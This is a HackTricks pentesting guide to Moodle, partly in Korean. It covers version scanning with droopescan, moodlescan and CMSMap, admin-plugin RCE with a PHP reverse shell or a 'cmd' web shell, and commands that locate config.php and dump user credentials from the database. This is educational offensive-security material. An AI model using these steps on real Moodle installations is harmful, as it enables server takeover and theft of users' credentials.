Moodle

Support HackTricks

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

자동 스캔

droopescan

pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/

[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php

[+] No themes found.

[+] Possible version(s):
3.10.0-beta

[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/

[+] Scan finished (0:00:05.643539 elapsed)

moodlescan

#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/

Version 0.7 - Dic/2020
.............................................................................................................

By Victor Herrera - supported by www.incode.cl

.............................................................................................................

Getting server information http://moodle.schooled.htb/moodle/ ...

server         	: Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by   	: PHP/7.4.15
x-frame-options	: sameorigin
last-modified  	: Wed, 07 Apr 2021 21:33:41 GMT

Getting moodle version...

Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta

Searching vulnerabilities...


Vulnerabilities found: 0

Scan completed.

CMSMap

pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>

CVEs

나는 자동 도구가 **무들 버전에 영향을 미치는 취약점을 찾는 데 꽤 쓸모없다는 것을 발견했다. 당신은 다음에서 확인할 수 있다: https://snyk.io/vuln/composer:moodle%2Fmoodle

RCE

당신은 관리자 역할을 가져야 하며 "사이트 관리" 탭 안에서 플러그인을 설치할 수 있다**:**

당신이 관리자라면 여전히 이 옵션을 활성화해야 할 수도 있다. 무들 권한 상승 PoC에서 어떻게 하는지 볼 수 있다: https://github.com/HoangKien1020/CVE-2020-14321.

그런 다음, 다음 플러그인을 설치할 수 있다. 이 플러그인은 고전적인 pentest-monkey php rev shell을 포함하고 있다 (업로드하기 전에 압축을 풀고, revshell의 IP와 포트를 변경한 후 다시 압축해야 한다)

또는 https://github.com/HoangKien1020/Moodle_RCE에서 플러그인을 사용하여 "cmd" 매개변수를 가진 일반 PHP 셸을 얻을 수 있다.

악성 플러그인을 실행하려면 다음에 접근해야 한다:

http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id

POST

데이터베이스 자격 증명 찾기

find / -name "config.php" 2>/dev/null | grep "moodle/config.php"

데이터베이스에서 자격 증명 덤프하기

/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"

버그 바운티 팁: 가입하세요 Intigriti, 해커를 위해 해커가 만든 프리미엄 버그 바운티 플랫폼! 오늘 https://go.intigriti.com/hacktricks에서 저희와 함께하고 최대 $100,000의 보상을 받기 시작하세요!

HackTricks 지원하기

Last updated